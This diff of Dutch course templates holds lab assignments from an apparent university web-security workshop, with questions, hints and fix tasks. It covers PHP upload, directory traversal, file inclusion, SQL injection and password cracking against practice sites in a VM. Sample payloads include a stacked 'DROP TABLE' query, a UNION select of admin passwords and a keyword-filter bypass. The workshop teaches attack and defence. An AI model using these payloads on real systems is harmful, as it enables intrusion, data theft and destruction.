<p>Ons nieuwe doelwit is de site "imgr", een populaire website waar vaak meme plaatjes naar worden geüpload. Er is geen database dus we kunnen geen SQL injection uitvoeren, en cross-site scripting is ook geen mogelijkheid meer op deze site (...toch?).</p> |
||||
|
||||
<p>We zijn geïnteresseerd in de inhoud van een bestandje wat staat in de VM: "/etc/geheim.txt". Hack de website en vind uit wat de inhoud van dit bestandje is.</p> |
||||
|
||||
<p class="hint"><strong>Hint:</strong> het lijkt er op dat je niet alleen plaatjes kan uploaden...</p> |
||||
|
||||
<p class="hint"><strong>Hint:</strong> Zoek een manier om een eigen php script te uploaden en te runnen</p> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Wat staat er in /etc/geheim.txt? (Het is een supersecret TODO item)</span> |
||||
<div class="points"><span class="question-points">0</span> punten</div> |
||||
<input class="question-input" name="answer_path_secret" value="{{ answers.answer_path_secret.string }}"></input> |
||||
</div> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Plak het script dat je hebt gebruikt</span> |
||||
<div class="points"><span class="question-points">0</span> punten</div> |
||||
<textarea class="question-input" name="answer_path_secret_script">{{ answers.answer_path_secret_script.string }}</textarea> |
||||
</div> |
||||
|
||||
|
||||
|
||||
<h2>Image 2</h2> |
||||
<p>Ga naar "Image 2". De site heeft het probleem opgelost door de upload map te verplaatsen naar een map die niet via de webserver bereikbaar is. De plaatjes worden nu via een speciaal image.php (<a href="https://github.com/Avans/Security-Workshop/blob/master/image/image.php">source</a>) bestandje geinclude. Daarmee heeft de site ook weer een enorm security probleem geïntroduceerd! </p> |
||||
|
||||
<p class="hint">Met een paar extra <code>../</code> kan je file_get_contents() een hele hoop bestanden laten uitlezen!</p> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Met welke URL kan je nu rechtstreeks de inhoud van /etc/geheim.txt uitlezen?</span> |
||||
<div class="points"><span class="question-points">0</span> punten</div> |
||||
<input class="question-input" name="answer_path_image_url" value="{{ answers.answer_path_image_url.string }}"> |
||||
</div> |
||||
|
||||
<p>Verander image.php in image_check_prefix.php (<a href="https://github.com/Avans/Security-Workshop/blob/master/image/image_check_prefix.php">source</a>) . In dit bestand is een extra beveiliging die checkt of het pad begint met de map 'uploads'</p> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Met welke URL kan je met dit meer 'beveiligde' script de inhoud van /etc/geheim.txt uitlezen?</span> |
||||
<div class="points"><span class="question-points">0</span> punten</div> |
||||
<input class="question-input" name="answer_path_image_url_prefix" value="{{ answers.answer_path_image_url_prefix.string }}"> |
||||
</div> |
||||
|
||||
<p>Verander de bestandsnaam in image_remove_traversal.php (<a href="https://github.com/Avans/Security-Workshop/blob/master/image/image_remove_traversal.php">source</a>) , dit script heeft nu een beveiliging die alle '../' uit de string verwijderd zodat je niet meer ../ in de URL kan gebruiken.</p> |
||||
|
||||
<p class="hint"><strong>Hint:</strong> Weet je nog hoe je deze beveiliging ongedaan hebt gemaakt bij die website die alle SELECT en UNION uit de URL filterde?</p> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Met welke URL kan je via het image_remove_traversal.php script de inhoud van /etc/geheim.txt uitlezen?</span> |
||||
<div class="points"><span class="question-points">0</span> punten</div> |
||||
<input class="question-input" name="answer_path_image_url_remove_traversal" value="{{ answers.answer_path_image_url_remove_traversal.string }}"> |
||||
</div> |
||||
|
||||
<p>Zoek op internet naar 'Directory traversal' en zoek uit wat voor technieken er nog meer mogelijk zijn.</p> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Beschrijf hoe jij de site zou programmeren zodat alle directory traversal aanvallen niet meer mogelijk zijn.</span> |
||||
<div class="points"><span class="question-points">0</span> punten</div> |
||||
<textarea class="question-input" name="answer_path_image_fix">{{ answers.answer_path_image_fix.string }}</textarea> |
||||
</div> |
||||
|
||||
<img src="/static/img/parent_dir.png" class="center-block"> |
||||
|
||||
<h2>Image 3</h2> |
||||
|
||||
<p>Ga naar "Image 3". imgr heeft hun site uitgebreid met extra pagina's (<a href="https://github.com/Avans/Security-Workshop/blob/master/image/index_more_pages.php">source</a>). De afbeeldingen hebben ze maar weggehaald omdat daar teveel security problemen mee waren.</p> |
||||
|
||||
<p class="hint"><strong>Hint:</strong> imgr zijn bezig met het maken van een inlogpagina en een registreren pagina.</p> |
||||
|
||||
<p class="hint"><strong>Hint:</strong> Heb je de broncode al bekeken? Die regel met <code>include()</code> ziet er interessant uit...</p> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Beschrijf hoe je met deze site de inhoud van /etc/geheim.txt kan achterhalen</span> |
||||
<div class="points"><span class="question-points">0</span> punten</div> |
||||
<textarea class="question-input" name="answer_path_include_explain">{{ answers.answer_path_include_explain.string }}</textarea> |
||||
</div> |
||||
|
||||
{% endblock %} |
@ -1,203 +0,0 @@ |
||||
{% extends "base.html" %} |
||||
|
||||
{% block content %} |
||||
|
||||
<style> |
||||
code i { |
||||
color: blue; |
||||
font-style: normal; |
||||
font-weight: bold; |
||||
} |
||||
p code { |
||||
padding: 0; |
||||
margin: 2px; |
||||
} |
||||
</style> |
||||
|
||||
<h1>Security 1</h1> |
||||
|
||||
<p>Welkom bij Security 1! Dit vak gaan we ons richten op het hacken van websites. En met die zin komen we meteen bij onze gouden regel voor dit vak:</p> |
||||
|
||||
<blockquote>Het hacken van websites zonder toestemming is <strong>niet</strong> toegestaan</blockquote> |
||||
|
||||
<p>Om de opdrachten te kunnen maken krijg je van ons toestemming om de websites in de VM te mogen hacken ;). |
||||
We gaan in dit vak verschillende manieren bekijken om in te breken op een website. Aan jullie de taak om die tijdens |
||||
de workshop in de praktijk te brengen</p> |
||||
|
||||
<img src="/static/img/security_banner.jpg" style="width: 50%" class="center-block"> |
||||
|
||||
<h1>SQL injection</h1> |
||||
|
||||
<p>We beginnen deze week bij één van de meest veelvoorkomende beveiligingslekken die er bij webapplicaties voorkomen. Dagelijks nog zijn er <a href="https://www.google.nl/webhp?#safe=off&tbm=nws&q=sql+injection" target="_blank">nieuwsberichten</a> van websites die hun code niet goed op orde hebben en kwetsbaar zijn tegen deze aanval. Deze week gaan we kijken hoe deze aanval werkt en hoe je er tegen kunt beveiligen.</p> |
||||
|
||||
<p>In bijna alle webapplicatie projecten heb je te maken met een database waar je mee communiceert via SQL. Een typische query die wordt uitgevoerd is bijvoorbeeld deze:</p> |
||||
|
||||
<code>SELECT * FROM leden WHERE naam='<i>paul</i>' AND heeftbetaald='ja'</code> |
||||
|
||||
<p>Waarbij het blauwe gedeelte invoer is uit bijvoorbeeld een GET parameter ('?naam=paul'). Er lijkt niks aan de hand, maar als we de invoer niet zorgvuldig filteren geven de gebruiker de kans om de query op onbedoelde manier te veranderen.</p> |
||||
|
||||
<h5>Commentaar</h5> |
||||
<p>Met <code>-- </code> (streepje, streepje, spatie) is het in SQL mogelijk om commentaar te zetten in je query, hetzelfde wat je in PHP met <code>//</code> zou doen. Met een slim gekozen invoer kunnen we de query er zo uit laten zien:</p> |
||||
|
||||
<code>SELECT * FROM leden WHERE naam='<i>paul' -- </i>' AND heeftbetaald='ja'</code> |
||||
|
||||
<p>De database voert de query uit, maar niet zoals de gebruiker hem heeft bedoeld: alles achter de -- wordt genegeerd als commentaar. De query zal dus ook rijen teruggeven waar <i>heeftbetaald</i> niet op 'ja' staat, wat afhankelijk van de code van de website kan betekenen dat we gratis dingen kunnen kopen :)</p> |
||||
|
||||
<h5>AND, OR</h5> |
||||
|
||||
<p>Een andere manier om queries te veranderen is om nieuwe logica (AND, OR) te injecteren in de SQL. We kunnen bijvoorbeeld de volgende query maken met de juiste invoer:</p> |
||||
|
||||
<code>SELECT * FROM leden WHERE naam='<i>paul' OR 'bla'='</i>' AND heeftbetaald='ja'</code> |
||||
|
||||
<p>Deze query maakt weer het <i>heeftbetaald='ja'</i> gedeelte nutteloos. Als de naam al overeenkomt maakt het niet uit wat er achter de OR staat, het resultaat is altijd true (de haakjes worden als volgt geplaatst: <code>. OR ( . AND . )</code>). |
||||
|
||||
<h5>Meerdere queries</h5> |
||||
<p>Eén van de meest gevaarlijke is als het mogelijk is om compleet nieuwe queries uit te kunnen voeren op de database. Bedenk eens wat er gebeurt als de gebruiker deze invoer geeft:</p> |
||||
|
||||
<code>SELECT naam FROM leden WHERE id=<i>0; DROP TABLE leden;</i></code> |
||||
|
||||
<p>Met <code>;</code> geven we aan dat we een nieuwe query beginnen, waarna we vervolgens vrij zijn om elke query uit te voeren die we maar willen. Let wel dat het uitvoeren van meerdere queries met bijvoorbeeld mysqli_query() iets is wat standaard uit staat. Deze techniek is extra gevaarlijk omdat deze immuun is tegen escapen als het invoer is die niet tussen quotejes staat.</p> |
||||
|
||||
<h5>UNION</h5> |
||||
|
||||
<p>We kunnen met behulp van de <a href="http://www.w3schools.com/sql/sql_union.asp" target="_blank">UNION</a> operator ook informatie halen uit andere tabellen in de database:</p> |
||||
|
||||
<code>SELECT naam FROM leden WHERE id=<i>0 UNION SELECT wachtwoord FROM admins</i></code> |
||||
|
||||
<p>De query haalt nu namen van leden op, samen met wachtwoorden uit de admins tabel. Belangrijk voor de UNION is dat beide queries evenveel kolommen teruggeven.</p> |
||||
|
||||
<img src="/static/img/shield.png" style="float: right"> |
||||
<h4>Countermeasures</h4> |
||||
|
||||
<p>Het is niet moeilijk om bovenstaande aanvallen te voorkomen. Met een paar simpele aanpassingen kan je ervoor zorgen dat je SQL altijd wordt uitgevoerd zoals je die bedoeld hebt.</p> |
||||
|
||||
<h5>Stored procedures</h5> |
||||
<p>Je slaat de SQL op als stored procedure in de database en roept deze aan vanuit je code. Omdat de SQL in de database staat in plaats op de server is SQL injectie niet mogelijk</p> |
||||
|
||||
<h5>Prepared statements</h5> |
||||
<p>Dit is de meest gebruikte en veilige manier. Met vraagtekentjes geef je aan op welke plekken de invoer moet komen en die vul je dan later in. De SQL wordt altijd uitgevoerd zoals je hem bedoeld hebt. En ook hier is SQL injectie onmogelijk. Lees <a href="http://php.net/manual/en/mysqli.prepare.php" target="_blank">hier</a> verder</p> |
||||
|
||||
<h5>Escaping</h5> |
||||
<p>Je kan ook alle invoer zelf escapen met functies zoals <a href="http://php.net/manual/en/mysqli.real-escape-string.php" target="_blank">mysqli_real_escape_string()</a>. Zorg ervoor dat je dan consequent alle strings escaped met die functie en alle getallen cast naar int's voordat je ze in je SQL plakt. Als je er ook maar eentje mist heb je al een SQL injection mogelijkheid op je website!</p> |
||||
|
||||
<p>Op <a href="http://www.sqltutorial.nl/artikelen/sqlinjections/soorten_sql_injection.html" target="_blank">deze site</a> kan je het allemaal extra nalezen. Maar voor nu genoeg theorie, let's HACK!</p> |
||||
|
||||
<img src="/static/img/sql_injectie.png" class="center-block"> |
||||
|
||||
<h2>Bank</h2> |
||||
<p>Bob is al jaren trouwe klant en gebruikt de site dagelijks om te kijken hoeveel geld er op zijn rekening staat. Achter op zijn poespas pas heeft hij met een viltstift „Niet vergeten: Bob 123456” geschreven. Gebruik de site om te kijken hoeveel geld Bob op zijn rekening heeft staan.</p> |
||||
|
||||
<p>Alice is ook klant van de bank en wij willen ook graag weten hoeveel geld zij op haar rekening heeft staan. We gaan daarom haar rekening hacken met behulp van SQL.</p> |
||||
|
||||
<p>Ga nu aan de slag en hack het account van Alice! Gebruik hiervoor de bovenste link <span class="website">"Bank"</span> op de startpagina van jouw virtuele machine.</p> |
||||
|
||||
<p class="hint"><strong>Hint 1:</strong> Kijk eerst eens wat er gebeurt als je inlogt met een enkele quote in de gebruikersnaam (').</p> |
||||
|
||||
<p class="hint"><strong>Hint 2:</strong> Met -- (twee streepjes gevolgd door een spatie) kan je commentaar achter een regel zetten in SQL.</p> |
||||
|
||||
<p class="hint"><strong>Hint 3:</strong> Bekijk de broncode achter de site: <a href="https://github.com/Avans/Security-Workshop/blob/master/bank/index.php#L51" target="_blank">https://github.com/Avans/Security-Workshop/blob/master/bank/index.php#L51</a> |
||||
De code beschouwt een gebruiker als ingelogd als de query een rij uit de gebruikerstabel teruggeeft. Manipuleer de query zodat deze de gegevens van Alice teruggeeft, zonder dat je het wachtwoord hoeft te weten.</p> |
||||
|
||||
<img src="/static/img/poespas.png" style="width: 70%" class="center-block"> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Hoeveel geld heeft Alice op haar rekening staan?</span> |
||||
{% include "points.html" with points=answers.answer_sql_money_alice.points max="5" %} |
||||
<input class="question-input" name="answer_sql_money_alice" value="{{ answers.answer_sql_money_alice.string }}"></input> |
||||
</div> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Wat heb je als gebruikersnaam ingevuld om zonder wachtwoord in te loggen als Alice?</span> |
||||
{% include "points.html" with points=answers.answer_sql_username_alice.points max="10" %} |
||||
<input class="question-input" name="answer_sql_username_alice" value="{{answers.answer_sql_username_alice.string}}"></input> |
||||
</div> |
||||
|
||||
<p>Waarschijnlijk heb je SQL commentaar (--) gebruikt in de vorige opdracht. Voer nu een andere SQL injectie uit door alleen het wachtwoord veld te gebruiken. Gebruik niet de SQL commentaar techniek maar verander nu de logica van de query (AND, OR) zodat er niet meer gecontroleerd wordt op het wachtwoord.</p> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Met welk 'wachtwoord' lukt het altijd om in te loggen? (gebruikersnaam moet je leeglaten)</span> |
||||
{% include "points.html" with points=answers.answer_sql_always_password.points max="10" %} |
||||
<input class="question-input" name="answer_sql_always_password" value="{{answers.answer_sql_always_password.string}}"></input> |
||||
</div> |
||||
|
||||
<p class="hint"><strong>Hint:</strong> Maak er een query van die alle gebruikers teruggeeft, de site logt dan in als de eerste gebruiker. Het maakt voor de opdracht niet uit als wie je inlogt.</p> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Bekijk de <a href="https://github.com/Avans/Security-Workshop/blob/master/bank/index.php#L51" target="_blank">PHP broncode</a> en los het probleem op. Type de verbeterde regels code in onderstaand tekstveld. (denk terug aan je mysql WEBS2 practicum)</span> |
||||
{% include "points.html" with points=answers.answer_sql_fix_query.points max="15" %} |
||||
<textarea class="question-input" name="answer_sql_fix_query">{{answers.answer_sql_fix_query.string}}</textarea> |
||||
</div> |
||||
|
||||
<p>Open de <span class="website">"Bank (multi_query)"</span> pagina. Op deze pagina werken ook SQL Injection technieken die gebruik maken van meerdere queries (queries gescheiden door een ; ).</p> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Met welke <i>"gebruikersnaam"</i> kan je (alleen) Bob miljonair maken? (Het saldo staat in een kolom "balans")</span> |
||||
{% include "points.html" with points=answers.answer_sql_bob_millionaire.points max="10" %} |
||||
<input class="question-input" name="answer_sql_bob_millionaire" value="{{answers.answer_sql_bob_millionaire.string}}"></input> |
||||
</div> |
||||
|
||||
<img src="/static/img/bank_schema.png"> |
||||
|
||||
<h2>Webshop</h2> |
||||
|
||||
<p>Inloggen in een ander account is leuk. Maar echte hackers stelen kostbare data uit een website. Dat gaan we nu doen met de webshop van Leaky's. Gebruik hiervoor de link <span class="website">"Webshop"</span> op de startpagina van jouw virtuele machine.</p> |
||||
|
||||
<p>Je kan de broncode vinden op: <a href="https://github.com/Avans/Security-Workshop/blob/master/webshop/product_detail.php#L62" target="_blank">https://github.com/Avans/Security-Workshop/blob/master/webshop/product_detail.php#L62</a> |
||||
|
||||
<p>Zoals je ziet hebben ze hier gebruik gemaakt van mysqli::real_escape_string(). Je kan dus geen gebruik meer maken van rare quotejes om de query aan te passen.</p> |
||||
|
||||
<p>Maar met behulp van de UNION techniek kunnen we alsnog data stelen uit de website.</p> |
||||
|
||||
<p>In de database is er nog een tabel "gebruikers" waar gebruikersnamen en wachtwoorden in staan. Steel deze informatie uit de database!</p> |
||||
|
||||
<p class="hint"><strong>Hint:</strong> Verander het cijfer in de url van de product_details.php pagina in de letter 'a' zodat je de query kan lezen.</p> |
||||
|
||||
<img src="/static/img/webshop_schema.png"> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Wat zijn de gebruikersnamen en wachtwoorden van de 4 gebruikers in de database? (de id's van de gebruikers zijn 1,2,3 en 4)</span> |
||||
{% include "points.html" with points=answers.answer_sql_usernames_passwords_webshop.points max="5" %} |
||||
<textarea class="question-input" name="answer_sql_usernames_passwords_webshop">{{answers.answer_sql_usernames_passwords_webshop.string}}</textarea> |
||||
</div> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Met welke URL heb je het wachtwoord van Marco achterhaald?</span> |
||||
{% include "points.html" with points=answers.answer_sql_url_marco_password.points max="10" %} |
||||
<input class="question-input" type="url" name="answer_sql_url_marco_password" value="{{answers.answer_sql_url_marco_password.string}}"></input> |
||||
</div> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Bekijk de <a href="https://github.com/Avans/Security-Workshop/blob/master/webshop/product_detail.php#L62" target="_blank">broncode</a> en verbeter deze zodat je geen SQL injection meer kan gebruiken.</span> |
||||
{% include "points.html" with points=answers.answer_sql_fix_injection_webshop.points max="15" %} |
||||
<textarea class="question-input" name="answer_sql_fix_injection_webshop">{{answers.answer_sql_fix_injection_webshop.string}}</textarea> |
||||
</div> |
||||
|
||||
<p>Open de pagina <span class="website">"Webshop (replace)"</span>. De maker van deze website heeft extra maatregelen genomen en woorden als SELECT en UNION uit de invoer gefilterd.</p> |
||||
|
||||
<p class="hint"><strong>Hint:</strong> SELSELECTECT</p> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Met welke URL kan je nu het wachtwoord van Marco achterhalen?</span> |
||||
{% include "points.html" with points=answers.answer_sql_url_marco_replace_password.points max="5" %} |
||||
<input class="question-input" type="url" name="answer_sql_url_marco_replace_password" value="{{answers.answer_sql_url_marco_replace_password.string}}"></input> |
||||
</div> |
||||
|
||||
<h2>Wereldwijs</h2> |
||||
|
||||
<p>Ga in de VM naar de <span class="website">"Wereldwijs"</span> pagina. Op deze pagina kunnen studenten op spelenderwijs leren over de wereld. Maar deze site heeft een diep donker geheim die het niet toont aan de wereld, er is een geheime pagina met id 0.</p> |
||||
|
||||
<p>Geen hints en geen broncode deze keer. Aan jullie de taak om de site te hacken (meerdere manieren mogelijk).</p> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Wat is het onderwerp van de geheime pagina?</span> |
||||
{% include "points.html" with points=answers.answer_sql_wereldwijs_title.points max="5" %} |
||||
<input class="question-input" name="answer_sql_wereldwijs_title" value="{{answers.answer_sql_wereldwijs_title.string}}"></input> |
||||
</div> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Met welke URL heb je de website de geheime pagina laten tonen?</span> |
||||
{% include "points.html" with points=answers.answer_sql_wereldwijs_url.points max="10" %} |
||||
<textarea class="question-input" type="url" name="answer_sql_wereldwijs_url">{{answers.answer_sql_wereldwijs_url.string}}</textarea> |
||||
</div> |
||||
|
||||
{% endblock %} |
@ -1,387 +0,0 @@ |
||||
{% extends "base.html" %} |
||||
|
||||
{% block content %} |
||||
|
||||
<h1>Wachtwoorden</h1> |
||||
|
||||
<img src="/static/img/password.png" class="center-block"> |
||||
|
||||
<p>Deze week gaan we kijken naar hoe je wachtwoorden van gebruikers veilig kan opslaan. We hebben twee weken geleden gezien dat het niet onmogelijk is om data uit de database te pulken met SQL injection. Als je een kolom hebt in je database 'wachtwoord' waar je je wachtwoorden zomaar neerzet loop je een groot risico dat een aanvaller achter alle wachtwoorden van je gebruikers komt. Gelukkig is er ook een veilige manier om wachtwoorden op te slaan, en wel door ze te <b>hashen</b>. |
||||
|
||||
<h3>Hashfunctie</h3> |
||||
|
||||
<p>Een hashfunctie (md5, sha1 en tientallen andere) neemt een stuk data (zoals een wachtwoord) als invoer en geeft een willekeurige uitziende string als uitvoer. De uitvoer van een hashfunctie is altijd even lang, ongeacht de lengte van de invoer.</p> |
||||
|
||||
<input type="text" onkeyup="$('#hashed').val(md5($(this).val()))" style="width: 30%;"> |
||||
> md5 > |
||||
<input id="hashed" type="text" style="width: 50%;" value="d41d8cd98f00b204e9800998ecf8427e" readonly=""> |
||||
|
||||
<p>Zo'n functie lijkt misschien een nutteloos iets, want je kan van de hash niet meer terug naar de originele invoer. Maar daar ligt juist de kracht van de hash functie: als de aanvaller een hash van het wachtwoord heeft kan hij niet terugrekenen wat het wachtwoord was. Hash functies zijn ontzettend moeilijk is om terug te rekenen, daar zijn ze op gemaakt. Zo moeilijk dat eigenlijk de enige praktische optie is om alle mogelijke invoeren uit te proberen om te kijken of het uitkomt op dezelfde hash (brute-force).</p> |
||||
|
||||
<p>Gelukkig hoef jij als programmeur van de website de hash niet terug te rekenen om hem te kunnen gebruiken. Als een gebruiker inlogt hash je opnieuw het wachtwoord wat hij invult. Komt deze hash overeen met wat in de database staat? Dan heeft hij hetzelfde wachtwoord ingevuld!</p> |
||||
|
||||
<h3>Rainbow tables</h3> |
||||
|
||||
<p>Zo moeilijk als het is om een hash terug te <i>rekenen</i>, zo makkelijk is het om een hash terug <i><a href="http://www.google.nl/?q=97307d691e6665ff81acc1783c4da63e" target="_blank">op te zoeken</a></i>. Aanvallers hebben de hashes van alle veel gebruikte wachtwoorden, korte lettercombinaties en woordenboekwoorden al berekend en opgeslagen in zogenaamde rainbow tables. Terug opzoeken wat de originele waarde van een hash was wordt dan zo simpel als een simpele query uitvoeren. Mits de waarde in de tabel zit natuurlijk, en dat is meteen ook de verdediging tegen deze aanval:</p> |
||||
|
||||
<h3>Salt</h3> |
||||
<p>Om te voorkomen dat zwakke veelvoorkomende kunnen worden teruggevonden in een rainbow table kan je er een salt achter plakken voordat je het hasht. Een salt is een lange string met random inhoud (bijvoorbeeld: 'R!Qo?Og4U]m'). De kans is klein dat zo'n waarde in een rainbow table voorkomt. Dus zelfs als de aanvaller de salt te weten komt is hij terug bij af: hij moet al zijn combinaties opnieuw uitproberen, dit keer met jouw salt er achter.</p> |
||||
|
||||
<img src="/static/img/password-salt.jpg" class="center-block" style="width: 40%"> |
||||
|
||||
<h1>Opdrachten</h1> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Je hebt uit een database het volgende gehashte wachtwoord gehaald: d59084b66e167f13bef93b1a5d07acd2 Welk wachtwoord had deze gebruiker?</span> |
||||
{% include "points.html" with points=answers.answer_password_crack.points max="5" %} |
||||
<input class="question-input" name="answer_password_crack" value="{{answers.answer_password_crack.string}}"> |
||||
</div> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Hoe had de programmeur kunnen voorkomen dat jij achter het wachtwoord kon komen?</span> |
||||
{% include "points.html" with points=answers.answer_password_crack_prevent.points max="15" %} |
||||
<textarea class="question-input" name="answer_password_crack_prevent">{{answers.answer_password_crack_prevent.string}}</textarea> |
||||
</div> |
||||
|
||||
<h2>Nieuws</h2> |
||||
<p>Een andere hacker heeft de gegevens van de inlogpagina van Nieuws.nl online gepost. Gelukkig voor de site zijn de wachtwoorden gehasht en gesalt, dus aan de hash zelf kunnen we geen informatie afleiden. Op de nieuws (gebruikers) pagina kan je de tabel inzien.</p> |
||||
|
||||
<p>Maar er valt je wel iets op aan de hashes. Heleboel gebruikers hebben dezelfde hash. Waarschijnlijk hebben deze gebruikers een veelgebruikt wachtwoord.</p> |
||||
|
||||
<p>Je bent geïnteresseerd in het wachtwoord van Pete, brute-force zijn wachtwoord door in te loggen op de inlogpagina!</p> |
||||
|
||||
<p class="hint">Hint: Zoek op internet naar lijsten van veelgebruikte wachtwoorden en probeer ze uit.</p> |
||||
|
||||
<p class="hint">Hint 2: Het wachtwoord is allemaal kleine letters</p> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Wat is het wachtwoord van Pete?</span> |
||||
{% include "points.html" with points=answers.answer_password_pete.points max="5" %} |
||||
<input class="question-input" name="answer_password_pete" value="{{answers.answer_password_pete.string}}"> |
||||
</div> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Hoe had de programmeur kunnen voorkomen dat een hacker kon zien dat al deze gebruikers hetzelfde wachtwoord hebben?</span> |
||||
{% include "points.html" with points=answers.answer_password_brute_force_prevent.points max="15" %} |
||||
<textarea class="question-input" name="answer_password_brute_force_prevent">{{answers.answer_password_brute_force_prevent.string}}</textarea> |
||||
</div> |
||||
|
||||
<p>Na een hoop manuren werk heeft Nieuws.nl hun huiswerk gedaan en slaan ze dit keer wachtwoorden op een echt veilige manier op. Niemand die dit keer de site kan kraken! Eindelijk kunnen mensen weer inloggen en gebruik maken van hun account, de site wordt feestelijk weer geopend.</p> |
||||
|
||||
<p>Een week later is de site gehackt en hebben de hackers alles weer verwijderd. Onderzoekers kunnen op de server alleen een kort fragment van een logbestand terugvinden:</p> |
||||
|
||||
<code class="center-block"> |
||||
...<br> |
||||
2013-05-23 14:15:55 Inlogpoging account 'Admin' wachtwoord '55020947E'<br> |
||||
2013-05-23 14:15:55 Inlogpoging account 'Admin' wachtwoord '55020947F'<br> |
||||
2013-05-23 14:15:55 Inlogpoging account 'Admin' wachtwoord '55020947G'<br> |
||||
2013-05-23 14:15:56 Inlogpoging account 'Admin' wachtwoord '55020947H'<br> |
||||
2013-05-23 14:15:56 Inlogpoging account 'Admin' wachtwoord '55020947I'<br> |
||||
2013-05-23 14:15:56 Gebruiker 'Admin' ingelogd<br> |
||||
</code> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Welke fout hebben de programmeurs van Nieuws.nl gemaakt? Beschrijf kort hoe je de site kan programmeren om deze aanval te voorkomen.</span> |
||||
{% include "points.html" with points=answers.answer_password_brute_force_login.points max="10" %} |
||||
<textarea class="question-input" name="answer_password_brute_force_login">{{answers.answer_password_brute_force_login.string}}</textarea> |
||||
</div> |
||||
|
||||
<img src="/static/img/password2.jpg" class="center-block"> |
||||
|
||||
<h2>Project</h2> |
||||
|
||||
<p>Open een eigen PHP project waarin je wachtwoorden van gebruikers opslaat. Dit mag ook een project zijn wat je op school in een project hebt gemaakt.</p> |
||||
|
||||
<p>Sla je de wachtwoorden van gebruikers op een veilige manier op?</p> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Copy-paste het stukje PHP code waarmee je wachtwoorden opslaat en leg uit welke technieken je hebt gebruikt om dit veilig te doen.</span> |
||||
{% include "points.html" with points=answers.answer_password_project.points max="15" %} |
||||
<textarea class="question-input" name="answer_password_project">{{answers.answer_password_project.string}}</textarea> |
||||
</div> |
||||
|
||||
<script> |
||||
function utf8_encode(argString) { |
||||
// discuss at: http://phpjs.org/functions/utf8_encode/ |
||||
// original by: Webtoolkit.info (http://www.webtoolkit.info/) |
||||
// improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net) |
||||
// improved by: sowberry |
||||
// improved by: Jack |
||||
// improved by: Yves Sucaet |
||||
// improved by: kirilloid |
||||
// bugfixed by: Onno Marsman |
||||
// bugfixed by: Onno Marsman |
||||
// bugfixed by: Ulrich |
||||
// bugfixed by: Rafal Kukawski |
||||
// bugfixed by: kirilloid |
||||
// example 1: utf8_encode('Kevin van Zonneveld'); |
||||
// returns 1: 'Kevin van Zonneveld' |
||||
|
||||
if (argString === null || typeof argString === 'undefined') { |
||||
return ''; |
||||
} |
||||
|
||||
// .replace(/\r\n/g, "\n").replace(/\r/g, "\n"); |
||||
var string = (argString + ''); |
||||
var utftext = '', |
||||
start, end, stringl = 0; |
||||
|
||||
start = end = 0; |
||||
stringl = string.length; |
||||
for (var n = 0; n < stringl; n++) { |
||||
var c1 = string.charCodeAt(n); |
||||
var enc = null; |
||||
|
||||
if (c1 < 128) { |
||||
end++; |
||||
} else if (c1 > 127 && c1 < 2048) { |
||||
enc = String.fromCharCode( |
||||
(c1 >> 6) | 192, (c1 & 63) | 128 |
||||
); |
||||
} else if ((c1 & 0xF800) != 0xD800) { |
||||
enc = String.fromCharCode( |
||||
(c1 >> 12) | 224, ((c1 >> 6) & 63) | 128, (c1 & 63) | 128 |
||||
); |
||||
} else { |
||||
// surrogate pairs |
||||
if ((c1 & 0xFC00) != 0xD800) { |
||||
throw new RangeError('Unmatched trail surrogate at ' + n); |
||||
} |
||||
var c2 = string.charCodeAt(++n); |
||||
if ((c2 & 0xFC00) != 0xDC00) { |
||||
throw new RangeError('Unmatched lead surrogate at ' + (n - 1)); |
||||
} |
||||
c1 = ((c1 & 0x3FF) << 10) + (c2 & 0x3FF) + 0x10000; |
||||
enc = String.fromCharCode( |
||||
(c1 >> 18) | 240, ((c1 >> 12) & 63) | 128, ((c1 >> 6) & 63) | 128, (c1 & 63) | 128 |
||||
); |
||||
} |
||||
if (enc !== null) { |
||||
if (end > start) { |
||||
utftext += string.slice(start, end); |
||||
} |
||||
utftext += enc; |
||||
start = end = n + 1; |
||||
} |
||||
} |
||||
|
||||
if (end > start) { |
||||
utftext += string.slice(start, stringl); |
||||
} |
||||
|
||||
return utftext; |
||||
} |
||||
function md5(str) { |
||||
// discuss at: http://phpjs.org/functions/md5/ |
||||
// original by: Webtoolkit.info (http://www.webtoolkit.info/) |
||||
// improved by: Michael White (http://getsprink.com) |
||||
// improved by: Jack |
||||
// improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net) |
||||
// input by: Brett Zamir (http://brett-zamir.me) |
||||
// bugfixed by: Kevin van Zonneveld (http://kevin.vanzonneveld.net) |
||||
// depends on: utf8_encode |
||||
// example 1: md5('Kevin van Zonneveld'); |
||||
// returns 1: '6e658d4bfcb59cc13f96c14450ac40b9' |
||||
|
||||
var xl; |
||||
|
||||
var rotateLeft = function (lValue, iShiftBits) { |
||||
return (lValue << iShiftBits) | (lValue >>> (32 - iShiftBits)); |
||||
}; |
||||
|
||||
var addUnsigned = function (lX, lY) { |
||||
var lX4, lY4, lX8, lY8, lResult; |
||||
lX8 = (lX & 0x80000000); |
||||
lY8 = (lY & 0x80000000); |
||||
lX4 = (lX & 0x40000000); |
||||
lY4 = (lY & 0x40000000); |
||||
